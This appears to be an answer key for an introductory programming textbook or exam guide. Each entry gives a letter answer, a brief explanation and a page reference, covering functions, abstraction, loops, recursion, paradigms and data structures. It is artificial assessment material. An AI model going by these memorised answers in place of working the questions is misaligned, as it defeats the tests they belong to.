0002.c.10.5 C. East has amounts 120, 60, and 20, which add to 200, and West has 80 and 40, which add to 120. A pivot table summarizes by group, here the total for each region. An average would give about 66.7 and 60, a largest-amount filter would give 120 and 80, and a sort changes only the order. Question: page 352

0002.d Decomposition and functions

0002.d.1.1 D. Each proposed function solves one sub-problem and receives its data through parameters, so it can be checked on its own. Dividing by length or by shared variables leaves the sub-problems entangled. Question: page 352

0002.d.1.2 A. Line 19 tests `total` alone and already fails, because its loop starts at index 1. Both other tests call `total`, so one fault explains all three results, and separate tests made it possible to find this quickly. Question: page 353

0002.d.1.3 C. Each proposed part solves one sub-problem and has a clear input and result, so it can be built and checked separately. Dividing by length, statement type, or day does not separate the sub-problems. Question: page 354

0002.d.1.4 A. The price rule lives in one sub-problem. Because `total_cost` calls `rate_for` and `free_shipping` receives only a number, neither needs editing, and `rate_for` can be tested alone. Question: page 354

0002.d.1.5 B. Scoring one sheet is a complete sub-problem. A function that holds the inner loop, receives its data as arguments, and returns the count can be tried directly on sheets with known scores. Question: page 355

0002.d.2.1 A. Naming the major steps before writing them begins from the whole problem, whereas building and testing small functions begins from the parts. Many projects use both approaches. Question: page 356

0002.d.2.2 C. Small tested pieces still must fit together. A top-down plan that defines the shared interfaces connects bottom-up work on the parts. Question: page 357

0002.d.2.3 C. `minutes_late` returns minutes, while `fee` expects hours, so `75` and `5` both exceed the limit of `2`. Each part passes its own test, and the fault lies in the interface that connects them. Question: page 357

0002.d.2.4 D. Beginning with the whole problem and using a placeholder allows the structure to be run early. The returned `0` says nothing about the discount rules that will eventually replace it. Question: page 358

0002.d.2.5 B. Building and testing small functions gives early, reliable pieces, but they must still fit a larger design. Planning from the whole problem helps to manage this risk. Question: page 359

0002.d.3.1 B. The logic exists in three copies, so a correction must be made three times. A function holds the logic once, and a correction then applies wherever the function is called. Question: page 359

0002.d.3.2 A. The function takes the value and both limits as parameters and returns the result, so it works for any range. A function that displays its result leaves the loop with nothing to store. Question: page 360

0002.d.3.3 B. `markdown(50)` is `45`. `markdown(100)` is `90`, and `markdown(90)` is `81`, so the sum is `126`. The same named task is carried out each time it is called, on whatever value it receives. Question: page 362

0002.d.3.4 D. A function reduces duplicated code, so a correction in one place applies everywhere. The calculation still runs on each call, so the change does not necessarily make the program faster.

Question: page 362

0002.d.3.5 B. Both `ticket` and `can_register` call `is_adult`, so the single correction applies to both. An age of `18` now gives `12` and `TRUE`, and an age of `40` still gives `12`. Question: page 363

0002.d.4.1 D. A library adds a dependency on code that its authors can change. Version 2 returns the year first, so `month` now holds `2026`. Testing against updates reveals such changes before they cause harm. Question: page 364

0002.d.4.2 D. The code displays `29`, but the correct value is `28`. Date handling has many such edge cases, which is a main reason for choosing a library, although the program that uses it must still be tested. Question: page 364

0002.d.4.3 B. A dependency should be well maintained, appropriately licensed, and limited to what is needed. This package meets the license condition but fails the other two. Question: page 365

0002.d.4.4 A. Dependencies save time but create risk from code that the project does not control, so they should be limited to what is needed. A task of a few lines rarely justifies that risk. Question: page 365

0002.d.4.5 C. Third-party code should be appropriately licensed for the way it will be used. This license excludes commercial use, so passing tests and easy access to the code do not resolve the problem. Question: page 366

0002.d.5.1 D. The documentation promises a new array, largest first, which is `[95, 80]`, and it promises that `marks` is unchanged, so `marks[0]` remains `70`. The implementation is not needed in order to work this out. Question: page 366

0002.d.5.2 A. A signature gives the arguments, their types, and the return type, but a caller also needs the function's purpose and accepted values. How the function is implemented is not needed in order to call it. Question: page 367

0002.d.5.3 D. `to_minutes` gives `570`, which is `615` after adding `45`, and `to_time` converts that value to `"10:15"`. Only the documented arguments and return types are needed to choose the correct calls. Question: page 368

0002.d.5.4 D. The row has no open seat at or after index 2, so the function returns `-1`, as documented. The caller then uses `row[-1]`, which is not a valid index, and a caller must handle each documented return value. Question: page 368

0002.d.5.5 C. The documentation says that the function returns a new array and leaves `v` unchanged. The caller must store the result, as in `int[] sorted = sorted_copy(times)`, and then read `sorted[0]`. Question: page 369

0002.d.6.1 B. The function calculates and displays in one step, so no caller can obtain the bonus. Separate functions with one job each, and with returned values, can be tested and reused. Question: page 370

0002.d.6.2 B. Line 06 is a hidden side effect. The first call returns `TRUE` and sets the overdue value to `0`, so the second call returns `FALSE`. A function that does one job, as its name states, avoids this kind of surprise. Question: page 371

0002.d.6.3 B. A well-designed function does a single job and has a clear name. Several "and"s in a name often signal that the function should be split, which makes each part easier to test and reuse. Question: page 371

0002.d.6.4 A. Deciding the letter is one job, and returning it lets each caller store, count, or display it. The version that both displays and returns makes the display unavoidable, so the program would show each letter twice. Question: page 372

0002.d.6.5 B. Checking the length and reporting a message are two jobs. A function that only returns a `bool` value can be used by any caller, which then decides how to present the result. Question: page 373

0002.d.7.1 A. Line 06 discards the returned value, so `balance` stays `20`. Line 08 stores the returned value, `25`. Question: page 374

0002.d.7.2 C. `interest` depends on whatever `rate` holds at the moment of the call. As a parameter, the rate becomes an explicit input, and the function gives the same result for the same arguments regardless of its surroundings. Question: page 374

0002.d.7.3 D. Parameters make the data an explicit input, so the same function serves any city and any test. Reassigning globals or copying the function keeps it tied to its surroundings. Question: page 375

0002.d.7.4 A. The function displays the value instead of returning it, which leaves its caller with nothing to store. With `return cost`, the variables `a` and `b` hold `10` and `14`, and line 07 displays `24`. Question: page 376

0002.d.7.5 D. Both functions depend on one global array, so they can serve only one cart. With the cart as a parameter, each function works on whichever array it receives, independently of its surroundings. Question: page 376

0002.e Abstraction

0002.e.1.1 D. The classmate relied on what `box` does and not on how it does it. Hiding details behind a simple interface lets a person use something without knowing how it works. Question: page 377

0002.e.1.2 D. A person can use something without knowing how it works, as long as its interface states what it does. Here, the description of `.search` is enough, and the program displays `2`. Question: page 378

0002.e.1.3 D. The button is a simple interface, and the rider can use it without knowing how the elevator works, just as a caller uses a function by name. Question: page 379

0002.e.1.4 C. Hiding details does not remove them. The function's interface lets the developer use the network without handling how packets are managed, and that work still happens. Question: page 379

0002.e.1.5 B. A simpler interface keeps the starting details inside. A caller then needs only the array and need not know how the search begins. Question: page 380

0002.e.2.1 A. Abstraction allows people to reason about one level at a time, which makes systems too large for one person to hold in mind possible to build. The details remain, and teams still need to coordinate. Question: page 380

0002.e.2.2 A. Abstraction lets a programmer reason at one level, treating each function as a unit and looking inside only when needed. This matters even more as systems grow larger. Question: page 381

0002.e.2.3 C. Hiding details does not remove them. `contains` scans the list on each call, and this hidden cost grows with the size of the data, although callers can still use the function without reading it. Question: page 382

0002.e.2.4 C. Well-defined boundaries limit how far a change can reach and let people reason about one part at a time. The other options leave every statement dependent on the same shared variables. Question: page 382

0002.e.2.5 B. Reasoning about one level at a time depends on boundaries that hold. These functions have hidden connections through shared data, so one cannot be understood without the others. Question: page 383

0002.e.3.1 D. The first replacement counts differently, by starting from the full size and subtracting, yet it keeps every documented promise. The others change the array, the return type, or the values counted, so callers would be affected. Question: page 384

0002.e.3.2 B. An interface states what callers may rely on. Here, the documentation allows any index of a tied value, so a caller depending on the first one is depending on an implementation detail. Question: page 385

0002.e.3.3 B. The header and the return value form the interface, so changing the required arguments affects callers. The other edits change only the implementation, and the call still produces the same result. Question: page 386

0002.e.3.4 C. The interface is the agreed statement of what the function takes and returns. Everything else, including how prices are found, is implementation that may differ. Question: page 386

0002.e.3.5 D. `passed` and the direct call use only the promised interface, so they keep working. `class_best` depends on the storage itself, which is part of the implementation. Question: page 387

0002.e.4.1 B. An application relies on the layer below it. The operating system provides file services that hide how storage devices record data, so the application needs no code about bits on the drive.

Question: page 388

0002.e.4.2 C. The instruction set is the interface between software and hardware. The circuits beneath it can change completely, as long as the processor still carries out the same instructions. Question: page 388

0002.e.4.3 B. Computing systems are built in layers, from transistors and logic gates through machine code and the operating system to high-level languages. A high-level statement reaches the hardware only through the layers beneath it. Question: page 388

0002.e.4.4 C. A high-level statement is translated into machine code, which the processor carries out with circuits of logic gates built from transistors. Names such as `total` exist only at the higher layer. Question: page 389

0002.e.4.5 A. Each layer relies on the one below it, and a programmer can work at one layer using what it provides. The game still runs on logic gates, but the programmer need not reason about them. Question: page 389

0002.e.5.1 D. Data abstraction represents something through a simpler structure that keeps what the task needs. The checkout tasks use title, author, and status, so other true facts add nothing here. Question: page 390

0002.e.5.2 A. The array represents the hall as one structure addressed by position, so the program can handle all seats with loops instead of separate names. Its values must still share one type. Question: page 391

0002.e.5.3 C. A good representation omits details the task does not need but keeps the ones it does. Here the balances are correct, but staff cannot tell whose they are. Question: page 391

0002.e.5.4 B. Data abstraction keeps the information a task needs and ignores the rest. Routing depends on stops and buses, not on names or interests. Question: page 392

0002.e.5.5 C. Representing a time as one number keeps exactly what the period calculations need, so lengths come from one subtraction. The value can still be converted to hours and minutes for display. Question: page 392

0002.f Algorithms: control structures and patterns

0002.f.1.1 D. Statements run in order. Line 03 leaves `105`, and line 04 doubles it to `210`, so the penalty is doubled too. Doubling first and then subtracting gives `225`. Question: page 393

0002.f.1.2 C. Line 05 overwrites `first` before its old value is used, so both variables end up equal. Saving `first` in a temporary variable before the overwrite lets the old value be placed in `second`. Question: page 393

0002.f.1.3 B. Statements run in order, so the output on line 14 shows `total` before line 17 assigns `52`. Moving the calculation of the total above the output would fix the receipt. Question: page 394

0002.f.1.4 B. Within each pass, statements run in order. Adding `1` before the outputs means the first entry is displayed as `1`. Question: page 395

0002.f.1.5 D. Two statements can be exchanged safely only if neither uses a value the other produces. Displaying `flour` and setting `sugar` are independent, but each other pair depends on its order. Question: page 396

0002.f.2.1 B. Only the first true branch of a chain runs, and every reading above 50 makes `aqi > 50` true. Testing the highest threshold first lets each reading reach its own branch. Question: page 396

0002.f.2.2 C. Separate `if` statements are each tested, so several discounts can apply. One `if/elseif/elseif` chain runs only its first true branch. Question: page 398

0002.f.2.3 A. A condition must be a `bool` expression, so the remainder has to be compared with a value. An odd number leaves a remainder of `1` when divided by `2`. Question: page 399

0002.f.2.4 A. A later branch of a chain is reached only when every earlier condition was false. By the third branch, `days_late` is already greater than `0`, and by the fourth it is already greater than `7`. Question: page 399

0002.f.2.5 C. Only the first true branch of a chain runs. Since 1900 is divisible by 4, the function never reaches the test for 100, and it reports 1900 as a leap year. Question: page 400

0002.f.3.1 B. A `while` loop repeats as long as its condition is true, which suits a number of repetitions that cannot be known in advance. Here, it continues for as long as the guess is wrong. Question: page 401

0002.f.3.2 B. The loop runs only while its condition is true, and `10 == 0` is false at the start, so the body never runs. The condition `t >= 1` would produce the countdown. Question: page 401

0002.f.3.3 B. Indentation defines the loop's body, so `day` changes only after the loop ends. Each pass adds `rain[0]`, which is `4`, until the total passes the goal. Question: page 402

0002.f.3.4 B. A `for` loop states its start, condition, and update in its header, and the first replacement copies each of them from the `while` loop. It displays `2` through `20` in steps of `3`. Question: page 403

0002.f.3.5 A. The total goes `1`, `3`, `7`, `15`, `31`, `63`, and `127`. The condition is checked before each pass, so the seventh pass runs because `63 < 100`, and the loop then stops. Question: page 403

0002.f.4.1 C. `t` takes the values `1`, `3`, and `5`. Each pass reads the element before position `t`, which is still `0`, so the three assignments give `1`, `5`, and `9`. Question: page 404

0002.f.4.2 A. A trace table locates an error at its first appearance. When `d` is `2`, the freezing day should reset `run` to `0`, but it leaves `1`, and every later row inherits the mistake. Question: page 405

0002.f.4.3 C. The body runs with `floor` at `17`, `13`, `9`, and `5`, leaving `1`. The test `1 > 2` then fails, so there are 4 stops. Question: page 406

0002.f.4.4 C. The balance goes `40`, `70`, `40`, `70`, and `20`. Only months 1, 3, and 5 add to `spent`, giving `10 + 30 + 50`, which is `90`. Question: page 407

0002.f.4.5 A. Tracing `sale`, `total`, and `count` gives `(5, 5, 1)` and `(10, 15, 2)`. The next input is `-1`, so the test fails and the `7` is never read. Question: page 407

0002.f.5.1 C. The inner loop runs completely for each color, so `"red"` takes four lines before `"gray"` begins. The count is `3 * 4`, which is `12`. Question: page 408

0002.f.5.2 A. The inner loop's start depends on `a`, so it runs 4, 3, 2, 1, and then 0 times. The total is `10`. Question: page 409

0002.f.5.3 A. The inner loop runs completely for each row, so a value that belongs to one row must be reset inside the outer loop. Otherwise each student's total includes those before it. Question: page 409

0002.f.5.4 A. The outer loop moves through the three columns, and for each one the inner loop reads both rows. Each line of output is therefore one column, read from top to bottom. Question: page 410

0002.f.5.5 C. `break` exits only the nearest enclosing loop. The inner loop stops at the first open space in row `1`, but the outer loop continues to row `2`. Question: page 411

0002.f.6.1 C. The calls go down from `shakes(5)` to `shakes(1)`, which returns `0`. On the way back up, the pending calls add `1`, `2`, `3`, and `4`, giving `10`. Question: page 412

0002.f.6.2 D. A recursive case must move toward the base case. If each call passes the same `i`, the condition `i == sales.size[1]` never becomes true. Question: page 412

0002.f.6.3 B. Each call waits for the call it makes before reaching its own output. The innermost call, `digits(4)`, displays first, and the others follow as they resume. Question: page 413

0002.f.6.4 C. Each pending call stays on the call stack until the calls beneath it return, so memory use grows with the length of the text. The loop needs only one `n` and one `i`. Question: page 413

0002.f.6.5 D. The recursive case must move both positions inward, toward the base case, and return what the smaller call finds. The program then displays `TRUE`, `TRUE`, and `FALSE`. Question: page 414

0002.f.7.1 B. The three functions differ only in the letter, so that letter should become a parameter. One general function then serves all 26 letters and any later need. Question: page 415

0002.f.7.2 C. A reusable function takes the values that change as arguments, in the order of its parameters. Here, the symbol comes first and each club's membership supplies the length. Question: page 416

0002.f.7.3 D. A value that changes from use to use should be a parameter. Each call then supplies its own discount, and the calculation stays in one place. Question: page 417

0002.f.7.4 D. Reusable code takes its data as parameters and makes no assumption about their size. A loop to `scores.size[1]` works for a class of any size. Question: page 417

0002.f.7.5 A. Each call supplies its own array and bounds, and `n` starts at `0` every time. In the third call, `low` is `100` and `high` is `60`, so no value meets both tests. Question: page 418

0002.f.8.1 A. An accumulator is initialized before the loop to a value that leaves the first update unchanged. For a product, that value is `1`, since starting at `0` keeps the result at `0`. Question: page 419

0002.f.8.2 B. An accumulator is initialized once, before the loop. Resetting it inside the loop discards each earlier day, leaving `3900`, the last day's steps. Question: page 419

0002.f.8.3 D. An accumulator that counts adds `1` for each qualifying item, while one that totals adds the item's value. Line 07 should count, and line 08 should total. Question: page 420

0002.f.8.4 B. Both accumulators change only for submitted reports, so `done` is `4` and `sum` is `72`. The average is `72 / 4`, which is `18`. Question: page 420

0002.f.8.5 C. The string is an accumulator, so each pass must store the result of joining the current text and the new initials. `concat` returns a new string and leaves its arguments unchanged. Question: page 421

0002.f.9.1 C. Starting from the first element guarantees that the starting value is one of the data. A starting value of `0` is larger than every negative depth, so it is never replaced. Question: page 422

0002.f.9.2 C. A strict `>` keeps the first of several tied values, and `>=` keeps the last. The program stores a position, so it can then read the matching date. Question: page 422

0002.f.9.3 D. Storing the index of the best value so far lets the program read both the time and the matching name. Each comparison must read the time through that index. Question: page 423

0002.f.9.4 B. With `<`, only a strictly lower time replaces `best`, so the repeated `70` and `68` are not announced. The best time is `68`. Question: page 424

0002.f.9.5 B. The maximum pattern can compare any property of the elements. Here, the property is `.len`, compared with the length of the longest name found so far. Question: page 425

0002.f.10.1 A. Each pass replaces the pair with the smaller number and the remainder: `84 % 36` is `12`, and `36 % 12` is `0`. The loop then ends, and `a` holds `12`. Question: page 425

0002.f.10.2 D. Line 04 overwrites `a` before line 05 uses it, so line 05 computes `b % b`. A temporary variable must hold the remainder before `a` changes. Question: page 426

0002.f.10.3 B. Each step replaces the pair with the smaller number and the remainder, which is `gcf(b, a % b)`. When the remainder reaches `0`, the base case returns the answer. Question: page 426

0002.f.10.4 A. The pair goes `(12, 18)`, `(18, 12)`, `(12, 6)`, and `(6, 0)`, so the greatest common factor is `6`. The bells ring together after `216 / 6`, which is `36` minutes. Question: page 427

0002.f.10.5 B. When `a` is smaller, `a % b` is `a` itself, so the first pass simply exchanges the two values. The pairs then go `(48, 18)`, `(18, 12)`, `(12, 6)`, and `(6, 0)`. Question: page 428

0002.g Paradigms

0002.g.1.1 B. The program is a sequence of commands, each of which changes the stored value of `price`. In the original order the result is $(12 - 3) \times 2 = 18$, and after the exchange it is $12 \times 2 - 3 = 21$. Question: page 429

0002.g.1.2 D. The values change with each statement. After the rounds with `r` equal to `0` through `3`, `streak` has gone 1, 2, 0, 1, `score` has gone 10, 30, 30, 40, and `lives` has dropped once, to `2`. The final values, `0` and `1`, appear only after the last round. Question: page 429

0002.g.1.3 C. The program states each step, and each step changes the stored value of `jar`, which ends at $20 + 30 - 16 = 34$. A set of assembly steps, each acting on what the previous step produced, matches this. Question: page 430

0002.g.1.4 C. The first version is imperative: it reaches its answer through statements that change stored values, as `count` and `i` are reassigned. The second version never reassigns a variable, and builds its answer from returned values instead. Question: page 430

0002.g.1.5 B. Object-oriented programming organizes imperative code by bundling data with the methods that change it. Statements that change state in sequence remain at the heart of each method. Question: page 431

0002.g.2.1 B. A variable declared inside a procedure has scope limited to that procedure. `total` belongs to `average`, so line 09 refers to a name that does not exist in `honors`. Question: page 432

0002.g.2.2 D. Each `count` is local to its own function and is created again at `0` on every call. The functions therefore return 3, 2, and 3, independently of one another. Question: page 432

0002.g.2.3 B. A procedure groups the steps under one name, and its local variables cannot be changed from outside it. The averages are 82, 78, and 90. Question: page 433

0002.g.2.4 D. A variable declared inside a procedure exists only while that call is running, and each call declares it again. A count that must last between calls has to be kept outside the procedure, or passed in and returned. Question: page 434

0002.g.2.5 B. Scope limits a local name to the block that declares it. Only statements in `apply_sale` can change its `discount`, and other procedures' variables named `discount` are separate. Question: page 435

0002.g.3.1 A. A function without side effects only returns a value. `curve_a` changes the caller's array, `curve_c` changes shared data, and `curve_d` produces output, while `curve_b` does none of these. Question: page 435

0002.g.3.2 A. The function has a side effect: it updates `counters` on every call, including the call inside the condition. The program displays 31001, 31002, `"check"`, and 31004. A function that only computed a value from its argument would return the same number every time. Question: page 436

0002.g.3.3 C. `with_bonus` builds and returns a new array and never changes `v`. `raw` keeps `61`, `adjusted` holds `65`, and `again` holds `88 + 4 + 4 = 96` in its last position. Question: page 437

0002.g.3.4 C. A function that changes nothing outside itself returns the same output for the same input, regardless of what ran before it. This makes such functions simple to test, and it is one practical payoff of avoiding side effects. Question: page 438

0002.g.3.5 C. The program composes functions: `valid` returns `[42, 130, 87]`, `capped` returns `[42, 100, 87]`, and `largest` returns `100`. Each result is used directly as the next function's argument, and `entries` is never changed. Question: page 438

0002.g.4.1 A. The rewrite is object-oriented: the class `Room` bundles each room's data with the methods that operate on it, and `gym`, `lab`, and `hall` each hold their own state. The methods still change attributes in sequence, and they run only when the program calls them. Question: page 439

0002.g.4.2 B. Every plant's methods change the one variable `level`, so the plants share a single water level. When `level` is an attribute of `Plant`, each object holds its own level, and the same two methods act on whichever plant they are called on. Question: page 440

0002.g.4.3 D. Each tank holds its own level, and `pour_into` lowers the level of the tank on which it is called while `other.fill` raises the level of the tank passed in. North goes 40, 25, 5; south goes 10, 25, 20; east goes 25, 30, 40, 60. The total, 85 liters, is unchanged. Question: page 441

0002.g.4.4 C. A class defines the shared behavior once, and each object created from it holds one bus's data. Calling `board()` on a particular bus changes that bus's count alone. Question: page 442

0002.g.4.5 C. An object bundles one thing's data with the methods that operate on it. A member object holds its own name and loans and has methods such as `borrow()`, and every other member is a separate object of the same class. Question: page 443

0002.g.5.1 A. SQL is declarative: the query describes the result, and the database chooses how to produce it. The pseudocode is imperative, stating each step, and it displays `"Ari"`, `"Cy"`, and `"Eli"`. Question: page 443

0002.g.5.2 B. HTML is declarative. It describes a heading, a paragraph, and a list, and the browser determines the steps that draw them for a given window. Question: page 444

0002.g.5.3 D. SQL is declarative, so a query describes its result and the database chooses how to compute it. The database can therefore begin using the index without any change to the queries. Question: page 444

0002.g.5.4 C. A declarative query describes the result: the books that meet both conditions. How and in what order the conditions are checked is left to the database, and the set of rows is the same either way. Question: page 445

0002.g.5.5 D. A style sheet is declarative: it describes the desired appearance, and the browser decides the steps. Both scripts state their steps, although the processor carries out steps in every case. Question: page 445

0002.g.6.1 A. Logic programs consist of facts and rules, and the system answers a query by inference. With `S` as Maya and `C` as calculus, the rule holds when some `P` satisfies both conditions, and `P` as precalculus does. Question: page 446

0002.g.6.2 C. A logic program reasons from its facts and rules. The rule already says who may book, so the program needs only the new fact, after which the query, and any other that depends on it, holds. Question: page 447

0002.g.6.3 B. The first rule gives `oak` directly. The second rule chains trains: elm to oak and a route from oak gives `pine`, and one more step gives `birch`. No fact leads from elm to maple. Question: page 447

0002.g.6.4 C. Logic programming suits this task: facts state the documented cases, a rule captures influence through intermediaries, and the system answers each query by inference. New facts and new queries need no new procedures. Question: page 448

0002.g.6.5 B. In logic programming, the program states what is true and the system answers queries by inference. The query `grandparent(ana, Who)` is answered from the facts and the rule, though no fact names a grandparent. Question: page 448

0002.g.7.1 B. Writing `greet()` calls the function at once, as the page loads, and passes its result to `on`. A handler must be registered, by passing `greet` itself, so that the environment calls it each time the event occurs. Question: page 449

0002.g.7.2 D. Each handler runs when its event occurs, and both change shared variables, so the order of events decides the outcome. Tester A resets at 30, and tester B resets at 10. Question: page 449

0002.g.7.3 B. Each "when" block begins a handler that the environment runs whenever its event occurs. The game responds to the space key and to touching a spike as often as they happen, until `stop all` runs. Question: page 450

0002.g.7.4 D. Event-driven design suits programs that must react to inputs whose timing and order are unpredictable. Each handler runs when its event occurs. Question: page 451

0002.g.7.5 B. The second version is event-driven: handlers run in the order of the student's clicks. The first version is a sequence whose order is fixed by the program text. Question: page 451

0002.g.8.1 B. An interpreted program is executed by another program as it runs, so an error in a statement appears only when execution reaches that statement. A compiler, which translates the whole program before it runs, might have reported the misspelling in September. Question: page 452

0002.g.8.2 C. Compilation and interpretation are features of a language's implementation. A paradigm is a style of programming, and Python programs may be imperative, procedural, object-oriented, or functional in style. Question: page 452

0002.g.8.3 D. A compiler translates source code to machine code before the program runs, which allows optimization for the target processor and produces an executable that players can run directly. Question: page 453

0002.g.8.4 C. An interpreted language is executed by another program as it runs, which suits typing and running one statement at a time. A compiler translates a complete program before it runs. Question: page 453

0002.g.8.5 A. Compilation and interpretation are features of an implementation rather than of a language or a paradigm. Many languages have both kinds of implementation, and many implementations mix the two. Question: page 454

0002.h Data types and data structures

0002.h.1.1 D. The `int` total `426` divided by the `int` count `5` is `85.2`, which rounds to the `int` value `85`. The `float` division keeps the decimal part, so the second line is `85.2`. Question: page 454

0002.h.1.2 C. The sheet writes Boolean values as `TRUE` and `FALSE`, so `True` is Python's form and not the sheet's. A `char` in double quotes and a `float` with two decimal places are both correct. Question: page 455

0002.h.1.3 C. The sheet describes `float` as a decimal number of implied infinite precision, so Python's rounding error does not apply. Ten additions of `0.1` give exactly `1.0`, and `==` gives a `bool`. Question: page 456

0002.h.1.4 C. A `bool` is `TRUE` or `FALSE`, an `int` is a whole number, a `float` is a decimal number, and a `char` is one character in double quotes. Question: page 456

0002.h.1.5 A. Two `int` values divide to a rounded `int`, so `5.75` becomes `6`. The chairs are then `6 * 4`, which is `24`. Question: page 456

0002.h.2.1 C. A variable's type is declared at its first assignment only. Every later assignment omits the type, so restating `int` for `stock` is the fault. Question: page 457

0002.h.2.2 A. A typed variable holds only its declared type, so a `String` cannot be assigned to `fine`. A value of the wrong type should produce an error. Question: page 458

0002.h.2.3 B. The signature requires an `int[]` followed by an `int`. Only `exam` and `points` match those types in that order, and the first score becomes `70 + 3`. Question: page 458

0002.h.2.4 A. The declaration runs on every pass of the outer loop, which creates the variable again with the value `0`. Declaring it once above the loop lets the total accumulate. Question: page 459

0002.h.2.5 A. A type is declared at the first assignment. `int count = 4` is followed correctly by `count = 7`, but `rate` is assigned before it has a type and is then declared too late. Question: page 460

0002.h.3.1 A. `"robots#r"` has 8 characters and a `#`, and it begins and ends with `r`. `"chess"` is short and has no `#`, and it begins and ends differently. `"k#ite#k9"` breaks no rule. Question: page 460

0002.h.3.2 C. The first character of a `String` is at index `0`, and the original condition stops before reaching it. Using `>=` includes index `0`, which adds the `s` that ends the clue. Question: page 461

0002.h.3.3 B. `concat()` joins strings, and it accepts any number of them. The variables appear without quotation marks so that their values, not their names, are joined. Question: page 462

0002.h.3.4 D. Indexes count from `0`, and the stop index is included, so the parts are `"BIO"`, `"4417"`, and `"B"`. `concat` joins them in the order wing, room, department. Question: page 462

0002.h.3.5 D. With the stop index included, `.sub(0, 9)` returns indexes 0 through 9, which is 10 characters. `.len` gives the true number of characters, and `concat` adds nothing between its arguments. Question: page 463

0002.h.4.1 B. Indexes run from `0` to one less than the number of values, and `runners.size[1]` is that number, so the final index is `runners.size[1] - 1`. A negative index does not exist on the sheet, and `runners.size[0]` is the number of rows, which is `1`. Question: page 463

0002.h.4.2 C. On the final pass of the copying loop, `i` is `4`, so `seats[i + 1]` asks for index `5`, which does not exist in a five-value array. Stopping that loop at `seats.size[1] - 1` fixes the program. Index `0` is valid, and copying `seats[0]` into `front` leaves the array unchanged. Question: page 464

0002.h.4.3 B. An array holds values of a single declared type, so one array cannot mix a `String`, a `float`, and a `bool`. Three arrays, of types `String[]`, `float[]`, and `bool[]`, matched by index, keep every temperature a `float` that can be averaged. Question: page 465

0002.h.4.4 D. Indexes start at `0`, so `menu[3]` is `"pasta"` and `menu[1]` is `"salad"`. The array has no index `4`, so `menu[4]` produces an error before the total is reached. Subtracting `1` from each printed number would fix the program. Question: page 465

0002.h.4.5 B. The ballots give `tally` the values `[2, 3, 4]`. `tally[1]` is the second count, `3`, and the largest count is at index `2`, which is `"Osei"`. Question: page 466

0002.h.5.1 D. Access is by row and then column, both from `0`. The sales mark row 1 seat 2, row 3 seat 1, and row 0 seat 3, so row 1 becomes `X O X O`, with `2` open seats, and `seats[3, 1]` is `"X"`. Question: page 467

0002.h.5.2 B. The sheet accesses a two-dimensional array as `board[row, column]`, with both indexes starting at `0`. The third row is row `2`, and the fifth column is column `4`. Question: page 468

0002.h.5.3 A. The row index `s` moves through the students while the column index stays at `2`, the third quiz. The marks `9`, `7`, `6`, and `10` total `32`, and the mean is `8`. Reversing the indexes totals a student's row instead. Question: page 468

0002.h.5.4 D. Access is by row and then column. With `visits[h, d]`, the day is used as the column index, and when `d` reaches `3`, the array has no column `3`. Writing `visits[d, h]` totals each weekday's row, and the program then names `"Fri"`. Question: page 469

0002.h.5.5 A. `grid[k, 0]` keeps the column at `0` while the row changes, which reads down the left edge: `"CODE"`. `grid[2, k]` keeps the row at `2`, the third row from the top, which reads `"DENT"`. Question: page 470

0002.h.6.1 C. The list becomes `["Ola", "Pim", "Sol", "Quin", "Rae"]` after the insertion, which shifts later values up. Deleting index `0` shifts every value down by one, appending adds `"Tam"`, and deleting index `3` then removes `"Rae"`. Question: page 471

0002.h.6.2 D. When `log.del(1)` runs, the second `-1` moves into index `1`, but `i` becomes `2`, so it is never checked; the same happens at the end of the log. One `-1` remains, giving `5` readings with a sum of `48`, and `48 / 5` rounds to `10`. Question: page 472

0002.h.6.3 D. `.search` returns the location of the first match as `[row, column]`, which is `[0, 2]` here, so the position is `found[1]`. Deleting index `2` leaves `"Park"`, `"Diaz"`, and `"Ross"` at the front of the list. Question: page 472

0002.h.6.4 A. After the first insertion, the array has four values, at indexes `0` to `3`, and `events.size[1]` is `4`. The sheet's `.insert` needs an index that already exists, so `events.append("dismissal")` is the way to add a value at the end. Question: page 473

0002.h.6.5 B. `.size` returns `[rows, columns]`. The table has `2` rows of `3`, so its size is `[2,3]` and `2 * 3` is `6`. A one-dimensional array has one row, so `wings.size` is `[1,2]` and `wings.size[1]` is `2`. Question: page 474

0002.h.7.1 A. Keys are unique, so assigning to `"pencil"` replaces `37` with `30`, while assigning to the new key `"marker"` adds a fourth pair. The rulers go from `8` to `7` and then to `19`, and a map's `.size` is the single number `4`. Question: page 474

0002.h.7.2 A. A map declares one type for its keys and one for its values, so every value here must be a `String`. Writing the grade as `"11"` would fix the declaration, and assigning to the new key `"email"` correctly adds a pair. Question: page 475

0002.h.7.3 B. The fourth ballot is `"ramen"`, and `votes{"ramen"}` has no value to read, so the program stops. Assigning to a new key would add a pair, but the statement reads the missing value before it assigns. Question: page 476

0002.h.7.4 A. A map's `.search(value)` returns an array of the keys that hold that value, here `["Mon", "Wed", "Fri"]`. `duty{teacher}` treats `"Diaz"` as a key, which the map does not hold. Question: page 477

0002.h.7.5 A. Keys in a map are unique. The second `"Sam"` replaces `108` with `230` rather than adding a pair, so the map holds four pairs. Using a key that is unique to each member, such as a student number, would keep both records. Question: page 477

0002.h.8.1 C. Undo must reverse the most recent action first, so actions must be added and removed at the same end. The program adds at the end but removes from position `0`, which is first-in, first-out. Removing `history[history.size[1] - 1]` gives last-in, first-out behavior. Question: page 478

0002.h.8.2 B. Unfinished calls are kept on a stack: `report` calls `header`, which calls `format_name`, and the most recent call finishes first. Control then returns to `header`, which finishes, and only then does `report` call `average`. `report` finishes last. Question: page 479

0002.h.8.3 D. A closing bracket must match the most recently opened bracket that is still open, which is the value at the end of `held`, where brackets are added. The program then removes it from that same end, so `held` works as a stack. For `"(a[b]c)"`, the output is `TRUE`. Question: page 480

0002.h.8.4 A. Undo works last-in, first-out. The two Undos remove the picture and then the bold formatting. Underlining is added on top of the typing, so the final Undo removes the underlining, leaving the typed title. Question: page 481

0002.h.8.5 C. Names are added and removed at the same end of `waiting`, so the most recent request is handled first: Ben, Cara, Dee, and finally Ana. A last-in, first-out structure can make an early request wait while newer ones arrive. Question: page 481

0002.h.9.1 A. Jobs are removed from the front and rejoin at the back, which is first-in, first-out. `"essay"` rejoins with 2 pages, `"poster"` finishes, `"slides"` rejoins with 15, and `"memo"` finishes. `"essay"` then finishes, and `"slides"` needs two more turns. Question: page 482

0002.h.9.2 D. An abstract data type is defined by its behavior. Names join at the end, and `next` always moves to the earliest name not yet called, so students are called first-in, first-out: Rui, Zia, then Abe. Question: page 483

